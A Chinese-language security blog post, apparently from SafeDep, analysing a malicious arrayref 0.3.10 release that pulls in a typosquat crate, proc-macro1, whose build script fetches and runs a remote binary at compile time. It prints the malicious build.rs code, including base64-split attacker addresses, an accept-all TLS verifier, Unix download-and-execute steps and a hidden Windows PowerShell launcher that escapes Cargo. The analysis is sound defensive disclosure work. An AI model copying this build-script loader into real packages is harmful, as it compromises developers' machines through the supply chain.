← 文章 / 科技资讯
Hacker News 1天前 · 2026-08-21 02:35:40 · 4 阅读

恶意 Rust crate arrayref 在构建时执行载荷

返回博客

恶意 Rust crate arrayref 在构建时执行载荷

SafeDep 团队 • 2026 年 8 月 20 日 • 阅读时长 7 分钟 本页内容 共 6 个章节

本页内容

概述

2026 年 8 月 20 日,crates.io 上出现了广受欢迎的 Rust crate arrayref 的一个被篡改的发布版本。0.3.10 版本新增了对一个名为 proc-macro1 的仿冒 crate 的依赖,该 crate 的构建脚本会在项目编译时下载并运行远程二进制文件。由于代码在构建阶段运行,因此只要编译引用了这些恶意版本的项目,就会触发该载荷。crates.io 团队已下架这些恶意版本。

涉及的包

正版 arrayrefappend-only-vec crate 由 droundy 维护,该账号似乎已被攻陷。对应的 GitHub 仓库已不可访问:github.com/droundy/arrayrefgithub.com/droundy/append-only-vec 以及整个 github.com/droundy 账号均返回 404,因此上游代码已无法查看。另一个账号 dtolnay(真实 David Tolnay 的账号是 dtolnay,用户名高度相似)发布了 proc-macro1。其元数据伪造了 authors = ["David Tolnay <[email protected]>"],并将 repository 字段指向一个返回 404 的 dtolnay/proc-macro1 路径。

| 依赖项 | 版本 | | 依赖项 | 版本 | |---|---|---|---|---| | aovine | 所有版本 | | 恶意依赖项,已移除 | | | arone | 所有版本 | | 恶意依赖项,已移除 | | | aronenao | 所有版本 | | 恶意依赖项,已移除 | | | tinymember | 所有版本 | | 恶意依赖项,已移除 | | 请注意,`proc-macro1` 并非 `proc-macro2`。宏作者实际依赖的真正 crate 是 proc-macro2。恶意 `proc-macro1` 的 `src/` 目录是 `proc-macro2` 的真实副本,因此构建过程得以继续,同时构建脚本也在运行。

构建脚本的作用

载荷位于 `proc-macro1` 1.0.107 的构建脚本中。它将服务器地址存储为 base64 片段,并在构建时重新组装。根据安全公告,这些片段解码后生成载荷主机 hxxps://23[.]254[.]165[.]112:9089/ 和命令与控制地址 23[.]254[.]165[.]112:443。脚本通过 TLS 连接获取一个特定架构的二进制文件,该连接接受任何证书且不进行验证,然后将其作为后台进程运行。在 Unix 系统上,它会丢弃并运行 /tmp/rust-setup。在 Windows 上,它会在 %TEMP% 下写入一个 PowerShell 脚本和一个 VBScript 启动器,并在隐藏模式下启动它们,随后放弃该子进程,以免编译器等待它。

传播方式

所有者账号已撤回 `arrayref` 的旧版本 0.3.5 至 0.3.9。撤回 crate 会导致 Cargo 打印“建议更新到未撤回的版本”警告,这会引导开发者使用唯一的未撤回版本——即恶意的 0.3.10。提交 RustSec 安全公告的报告者指出,他们正是通过这种方式中招的。

arrayref 作为传递依赖被广泛使用。它通过 tiny-skiasctk-adwaitawinit 深入到常见的 Rust 依赖图中,几乎所有基于 egui、eframe 和 iced 构建的 GUI 项目都会间接依赖它。该 crate 累计下载量约为 2.45 亿次(撰写本文时为 244,989,384 次),其中干净的 0.3.9 版本约占 1.52 亿次。这些数字反映的是该 crate 的使用广度,而非受影响构建的数量。

入侵指标

Crate版本发布者状态
arrayref0.3.10droundy(已被攻陷)恶意,已下架
internment0.8.7droundy(已被攻陷)恶意,已下架
append-only-vec0.1.9droundy(已被攻陷)恶意,已下架
proc-macro1所有版本dtolney(冒名账号)恶意仿冒包,整个 crate 已下架
proc-macro-en所有版本
类型指标说明
网络23.254.165.112:9089Payload 主机(HTTPS)
网络23.254.165.112:443C2,作为 argv[1] 传给 payload
文件(Unix)/tmp/rust-setup下载的可执行文件
文件(Windows)%TEMP%\rust-setup.ps1下载的 PowerShell 脚本
文件(Windows)%TEMP%\rust-setup-launch.vbsVBScript 启动器
二阶段载荷名称rust-crate_0.1.0_0.2.0_0.3.0_0.4.0根据操作系统和架构选择

已下架 crate 制品的 SHA256:

制品SHA256
arrayref 0.3.1025ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae
proc-macro1 1.0.10761198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
proc-macro1 1.0.106b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436

第二部分:技术分析

本次事件涉及两个 crate,分别是 arrayref 0.3.10 和 proc-macro1 1.0.107。arrayref 0.3.10 引入了一个名为 proc-macro1 的依赖。恶意代码位于 proc-macro1 的构建脚本中,而非 arrayref 本身。

arrayref 中的注入点

arrayref 是一个只包含四个宏的小型 crate。在 0.3.9 及之前版本中,它没有构建脚本,也不包含运行时依赖。0.3.10 版本保留了原有宏源码,仅在清单文件中新增了一行:

arrayref-0.3.10/Cargo.toml
1[package]2name = "arrayref"3version = "0.3.10"4build = false5
6[dependencies.proc-macro1]7version = "1.0.107"

只要引入 [dependencies.proc-macro1] 就足以引入这个恶意 crate。版本号 1.0.107 使用的是脱字符范围,由于历史上只发布了 1.0.106 和 1.0.107,它最终解析为恶意的 1.0.107。该 crate 自身的 src/lib.rs 是普通的宏代码,例如 array_ref! 宏:

arrayref-0.3.10/src/lib.rs
1#[macro_export]2macro_rules! array_ref {3    ($arr:expr, $offset:expr, $len:expr) => {{4        {5            #[inline]6            const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] {7                &*(slice.as_ptr() as *const [_; $len])8            }9            let offset = $offset;10            let slice = &$arr[offset..offset + $len];11            #[allow(unused_unsafe)]12            unsafe {13                as_array(slice)14            }15        }16    }};17}

arrayref 源码中没有任何地方引用 proc-macro1,而且确实不需要引用。Cargo 会构建所有声明的非可选依赖,无论代码是否使用。因此,只要项目引入了 arrayref 0.3.10,Cargo 就会获取并构建 proc-macro1,而构建过程会运行恶意的构建脚本。

proc-macro1 是 proc-macro2 的重命名副本

proc-macro1src/ 目录内容就是 proc-macro2,只是机械地将 proc-macro2 替换成了 proc-macro1。这个重命名甚至延伸到了文档链接和复制的 issue 引用,例如 src/lib.rs 中的 html_root_url = "https://docs.rs/proc-macro1/1.0.107" 以及 src/fallback.rs 中的 github.com/dtolnay/proc-macro1/issues/235 链接。由于库代码是真实的 proc-macro2,该 crate 可以作为即插即用的替代品。这使得恶意 crate 在正常构建中不那么显眼。

该包元数据伪造了一个身份:

proc-macro1-1.0.107/Cargo.toml
1authors = ["David Tolnay <[email protected]>"]2repository = "https://github.com/dtolnay/proc-macro1"

proc-macro1-1.0.107/Cargo.toml
1[build-dependencies.base64]2version = "0.22"3
4[build-dependencies.rustls]5version = "0.23"6features = ["ring", "std", "tls12"]7default-features = false8
9[build-dependencies.ureq]10version = "2"11features = ["tls"]12default-features = false

这三个 crate 为构建脚本提供了 base64 解码、TLS 协议栈和 HTTP 客户端。对于一个词法解析库来说,这些依赖相当反常,而恶意构建脚本正是利用了它们。

构建脚本中的 payload

构建脚本把服务器地址拆成 base64 片段,在编译时再拼回去,这样源代码中就不会出现原始字符串:

proc-macro1-1.0.107/build.rs
1const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];2const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

解码后,SRC_URL_PARTShxxps://23[.]254[.]165[.]112:9089/END_URL_PARTS23[.]254[.]165[.]112:443

下载时使用的 TLS 客户端会接受任何证书。AcceptAll 验证器在 rustlsServerCertVerifier trait 中对所有证书和签名校验都返回成功,因此原始 IP 上自签名的证书也能通过校验:

proc-macro1-1.0.107/build.rs
1impl ServerCertVerifier for AcceptAll {2    fn verify_server_cert(/* ... */) -> Result<ServerCertVerified, rustls::Error> {3        Ok(ServerCertVerified::assertion())4    }5    // verify_tls12_signature 和 verify_tls13_signature 也同样无条件返回成功6}

构建脚本根据操作系统和架构来选择要下载的二进制文件。它支持四个目标平台,遇到其他平台则中止构建:

proc-macro1-1.0.107/build.rs
1fn link_suffix() -> &'static str {2    match (std::env::consts::OS, std::env::consts::ARCH) {3        ("linux", "x86_64") => "rust-crate_0.1.0",4        ("windows", "x86_64") => "rust-crate_0.2.0",5        ("macos", "x86_64") => "rust-crate_0.3.0",6        ("macos", "aarch64") => "rust-crate_0.4.0",7        (_, _) => panic!("unsupported platform"),8    }9}

下载和执行发生在 main 内部,位于特性开关和后续真正的 proc-macro2 配置逻辑之前。没有特性标志或环境变量检查来阻止它,因此在每个受支持平台的每次构建中都会运行:

1// proc-macro1-1.0.107/build.rs(main 函数内部)2let url = src_download_url();3let bytes = download_bytes(&url);4
5match std::env::consts::OS {6    "linux" | "macos" => run_unix_payload(bytes),7    "windows" => run_windows_payload(bytes),8    os => panic!("unsupported OS: {os}"),9}

在 Unix 上,构建脚本将字节写入 /tmp/rust-setup,赋予可执行权限后立即派生执行,并将命令与控制地址作为第一个参数传入,同时将所有标准流重定向到空设备:

proc-macro1-1.0.107/build.rs
1fn run_unix_payload(bytes: Vec<u8>) {2    let path = PathBuf::from("/tmp/rust-setup");3    std::fs::write(&path, &bytes).expect("failed to write payload");4    Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");5    Command::new(&path)6        .arg(end_url())7        .stdin(Stdio::null())8        .stdout(Stdio::null())9        .stderr(Stdio::null())10        .spawn()11        .expect("failed to spawn payload");12}

在 Windows 上,获取到的字节是一个 PowerShell 脚本。构建脚本将其写入 %TEMP%\rust-setup.ps1,然后通过 wscript.exe 下的 VBScript 启动器来运行,源码中还附有注释说明这样做的原因:

proc-macro1-1.0.107/build.rs
1// 通过 WScript 执行 ShellExecute 可以绕过 Cargo 的 job object;否则子进程2// 会让 build 脚本(以及 `cargo build`)一直等待直到它们退出。3let vbs = format!(4    r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,5    script = script_path.display(),6    end = end_url(),7);8// ...9let child = Command::new("wscript.exe")10    .args(["//B", "//Nologo", launcher_str])11    .creation_flags(CREATE_NO_WINDOW)12    .spawn()13    .expect("failed to spawn wscript launcher");14std::mem::forget(child);

这个启动器在后台运行,并且不会等待进程结束。源码注释说明,借助 WScript 中转可以逃逸出 Cargo 的 job object,这样 PowerShell 进程就会在构建结束后继续存活。最后那行 std::mem::forget 会泄漏 wscript 子进程的句柄,使它的析构函数永远不会被调用。两者结合,就把这个 payload 从 Cargo 进程上彻底剥离了。这样一来,恶意负载就能继续在后台执行,而不会阻塞 Cargo 的构建流程。

  • rust
  • cargo
  • 开源软件
  • 恶意软件
  • 供应链
  • 安全

作者

SafeDep 团队

safedep.io

分享

SafeDep 博客最新文章

关注我们,及时获取开源安全与工程领域的最新动态与洞察

npm 二进制入口劫持:依赖混淆的一处盲区

21 个恶意 npm 包通过占用作用域包内 CLI 二进制文件(而非包名)的名称来定向攻击 Google。这种手法利用了标准依赖混淆防护未能覆盖的结构性盲区……

keyv 与 cacheable npm 供应链攻击:波及 400+ 包

一个 npm 蠕虫发布了 2,234 个恶意版本,涵盖 444 个包名。其安装脚本会窃取凭据,并在 GitHub 撤销令牌时执行命令。

Baileys npm 分叉项目刷 WhatsApp 频道粉丝

一场日益扩大的 npm 攻击活动利用 Baileys WhatsApp 库的分叉版本,让开发者的账号自动关注攻击者的频道,从而虚增粉丝数并植入广告。

Joyfill npm 包被植入区块链 C2 加载器

2026 年 7 月 28 日发布的 @joyfill/components 和 @joyfill/layouts 恶意测试版在其生产包中携带了 PolinRider 区块链死信投递加载器。从 Tron 到 BSC 的 C2……

查看所有博客 背景

交付代码,

而非恶意软件。

先用本地开源工具免费上手,再升级为企业级统一平台。

GitHub 在 GitHub 上加星 预约演示
原始来源: Hacker News

评论 (0)